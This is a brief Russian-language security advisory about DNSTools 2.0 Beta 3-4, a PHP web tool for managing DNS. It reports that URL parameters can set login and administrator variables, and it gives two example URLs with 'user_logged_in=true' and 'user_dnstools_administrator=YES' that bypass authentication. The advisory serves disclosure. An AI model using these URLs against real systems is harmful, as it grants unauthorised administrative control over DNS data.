DNSTools — Web инструмент, написанный на PHP и используемый для управлением DNS информацией.

Уязвимость позволяет любому удаленному нападающему получать административный доступ. Искусственно созданный
URL может определять переменные, используемые для
идентификации пользователя и
административного доступа. 

Уязвимость обнаружена в DNSTools Software DNSTools 2.0 Beta 3-4.

Пример: 

http://www.example.com/dnstools.php? section=hosts&user_logged_in=true 
http://www.example.com/dnstools.php? section=security&user_logged_in=true&
user_dnstools_administrator=YES

Оставить мнение